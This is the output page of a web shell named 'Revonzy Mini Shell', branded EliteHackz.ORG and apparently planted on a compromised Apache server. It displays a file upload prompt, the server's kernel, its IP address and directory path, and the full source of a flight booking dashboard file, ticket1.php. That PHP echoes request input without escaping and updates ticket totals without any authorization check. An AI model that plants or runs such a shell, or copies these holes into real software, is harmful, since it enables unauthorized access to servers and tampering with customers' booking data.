Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/ticket1.php

<?php 
require_once('lib/functions.php');
$db = new class_functions();

$res_edit_id = "";
if (isset($_GET['edit_id'])) {
    $res_edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $res_edit_id;
} elseif (isset($_SESSION['edit_id'])) {
    $res_edit_id = $_SESSION['edit_id'];
}


if (isset($_POST['id']) && isset($_POST['edit_total'])) {
    $id = $_POST['id'];
    $total_amt = $_POST['edit_total'];

    if ($db->update_totalamount($total_amt, $id)) {
        // echo '<script>alert("Total amount updated successfully.");</script>';
    } else {
        echo '<script>alert("Failed to update total amount.");</script>';
    }
}


?>
<!doctype html>
<html lang="en" dir="ltr">
<head>
</head>
<style>
    body {
        font-family: Arial, sans-serif;
        background-color: #f0f0f0;
        margin: 0;
        padding: 0;
    }
    .container {
        width: 90%;
        max-width: 1100px;
        margin: 20px auto;
        background-color: #fff;
        border: 1px solid #ccc;
        padding: 20px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    .header {
        text-align: center;
        margin-bottom: 20px;
    }
    .header h3 {
        margin: 10px 0;
    }
    .message {
        background-color: #f2dede;
        color: #a94442;
        border: 1px solid #ebccd1;
        padding: 15px;
        margin-bottom: 20px;
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin-bottom: 20px;
    }
    th, td {
        border: 1px solid #ddd;
        padding: 10px;
        text-align: left;
    }
    th {
        background-color: #f2f2f2;
    }
    .info-container {
        display: flex;
        justify-content: space-between;
    }
    .info {
        width: 48%;
        padding: 10px;
        background-color: #f9f9f9;
        border: 1px solid #ddd;
    }
    .terms {
        margin-top: 20px;
    }
    .terms h3 {
        margin-bottom: 10px;
    }
    .terms ol {
        margin-left: 20px;
    }
    .btn-sub {
        height: 30px;
        background-color: #D52F35;
        border: none;
        outline: none;
        border-radius: 5px;
        width: 100px;
        color: white;
    }
    .inputtext {
        height: 25px;
        border: 1px solid rgba(0,0,0,0.4);
        border-radius: 3px;
    }
    @media print {
    
    .container {
       margin-left: -250px;
      max-width: 3000px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    .header {
        text-align: center;
        margin-bottom: 20px;
    }
    .header h3 {
        margin: 10px 0;
    }
    .message {
        background-color: #f2dede;
        color: #a94442;
        border: 1px solid #ebccd1;
        padding: 15px;
        margin-bottom: 20px;
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin-bottom: 20px;
    }
    th, td {
        border: 1px solid #ddd;
        padding: 10px;
        text-align: left;
    }
    th {
        background-color: #f2f2f2;
    }
    .info-container {
        display: flex;
        justify-content: space-between;
    }
    .info {
        width: 48%;
        padding: 10px;
        background-color: #f9f9f9;
        border: 1px solid #ddd;
    }
    .terms {
        margin-top: 20px;
    }
    .terms h3 {
        margin-bottom: 10px;
    }
    .terms ol {
        margin-left: 20px;
    }
    .btn-sub {
        height: 30px;
        background-color: #D52F35;
        border: none;
        outline: none;
        border-radius: 5px;
        width: 100px;
        color: white;
    }
    .inputtext {
        height: 25px;
        border: 1px solid rgba(0,0,0,0.4);
        border-radius: 3px;
    }
    }
</style>

<body style="font-family: Cambria, Cochin, Georgia, Times, 'Times New Roman', serif;">

<div class="container" style="width:1100px; position:absolute; left:20%;">
  <div>

    <form action="ticket1.php" style="float:right;" method="POST">
    <input type="number" name="edit_total" placeholder="Enter Amount" class="inputtext" required>
    <input type="hidden" name="id" value="<?php echo $res_edit_id; ?>">
    <input type="submit" value="Submit" name="submit_btn" class="btn-sub">
    </form>
    <div class="mid-container" style="width:90%;">
      <h3> Ticket is Non Refundable / Non changeable / Non Cancellable.</h3>
      <br>
      <h3 style="color:red"> COVID-19 UPDATE: WEB-CHECKIN is mandatory to board flight with applicable charges. Kindly contact your travel agent for more information</h3>
    </div>

    <?php
    if(!empty($res_edit_id)) {
      $data = $db->get_all_flight_booking_for_ticket($res_edit_id);
      if(!empty($data)) {
        foreach($data as $record) 
        { 
          $id                 = $record[0];
          $transaction_id     = $record[1];
          $booking_type       = $record[2];
          $agent_id           = $record[3];
          $from_location      = $record[4];
          $to_location        = $record[5];
          $travel_date        = $record[6];
          $pax_size           = $record[7];
          $tour_code          = $record[8];
          $traveller_type     = $record[9];
          $salutation         = $record[10];
          $first_name         = $record[11];
          $last_name          = $record[12];
          $birth_dd           = $record[13];
          $birth_mm           = $record[14];
          $birth_year         = $record[15];
          $ticket_status      = $record[16];
          $ticket_amount      = $record[17];
          $total_amount       = $record[18];
          $commission         = $record[19];
          $other_1            = $record[20];
          $other_2            = $record[21];
          $other_3            = $record[22];
          $date               = $record[23];
          $time               = $record[24];
          $booking_id         = $record[25];
          $pnr_no             = $record[26];
          $flight_no          = $record[27];
          $arrival_time       = $record[28];
          $departure_time     = $record[29];
          $passanger_total    =$record[30];
          
          $agent_name=$db->get_agent_name($agent_id);
          $agent_email=$db->get_agent_email($agent_id);
          $agent_add=$db->get_agent_addr($agent_id);
          
          
          ?>
          <table style="width:100%">
            <tr style="text-align: center; font-size: 15px; font-weight: 30px;">
              <th>Airline PNR Number: <?php echo $pnr_no; ?></th>
              <th>Booked on: <?php echo $date; ?></th>
              <th>Status: <?php echo $ticket_status; ?></th>
              <th>Booking ID: <?php echo $booking_id; ?></th>
            </tr>
          </table>
          <br>
          <table style="width:100%">
            <tr>
              <td>
                <h3 style="font-size: 20px;">Adult(s) information <br><br><?php echo $first_name . ' ' . $last_name; ?></h3>
              </td>
            </tr>
          </table>
          <br>
          <table style="width:100%">
            <tr style="font-size: 15px;">
              <th>TRAVEL DATE</th>
              <th>SECTOR</th>
              <th>DEP TIME</th>
              <th>ARR TIME</th>
              <th>FLIGHT NO.</th>
            </tr>
            <tr style="text-align: center; font-size: 15px;">
              <td><?php echo $travel_date; ?></td>
              <td><?php echo $from_location . '-' . $to_location; ?></td>
              <td><?php echo $departure_time; ?></td>
              <td><?php echo $arrival_time; ?></td>
              <td><?php echo $flight_no; ?></td>
            </tr>
          </table>
          <br>
          <table style="width:100%">
            <tr style="font-size: 15px;">
              <td>
                 <h3>Booking Agency<br>  Name : <?php echo $agent_name ?><br>
                 Phone : <?php echo $agent_id ?><br>
                     Email : <?php echo $agent_email ?><br>
                     Address : <?php echo $agent_add ?>
              </td>
              <td>
                <h3>Fare Information<br>total fare (All inclusive) - INR <?php echo $passanger_total; ?></h3>
              </td>
            </tr>
          </table>
          <br>
          <table style="width:100%; font-size: 16px;">
            <tr>
              <td>
                <h3>Terms & Conditions <br></h3>
                <ol>
                  <li>This group ticket is 100% Non Refundable, Non changeable & Non Cancellable.</li>
                  <li>Charged fare is totally agreed between "BUYER & SELLER", any issues related to fares thereafter will not be entertained.</li>
                  <li>Check flight & passenger(s) details directly by logging/calling to the respective airlines, any dispute within 24 hours prior to departure will not be entertained.</li>
                  <li>No updates will be shared from our end in respect to flight Cancellation/changes in timings, "BUYER" had to check directly with the respective airlines.</li>
                  <li>COVID-19 UPDATE: Web checkin is mandatory to board flight. Kindly contact your travel agent 24hr prior to departure.</li>
                </ol>
              </td>
            </tr>
            <tr>
              <td>
                <h3>Important Information </h3>
                <ol>
                  <li>Valid Govt.ID proof required at the time of Boarding</li>
                  <li>Free Baggage allowance is 1 Piece with max 15 KG & Hand Baggage allowance is 7KG.</li>
                </ol>
              </td>
            </tr>
          </table>
          <?php
        }
      } else {
        echo "<p>No bookings found.</p>";
      }
    }
    ?>
  </div>
</div>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4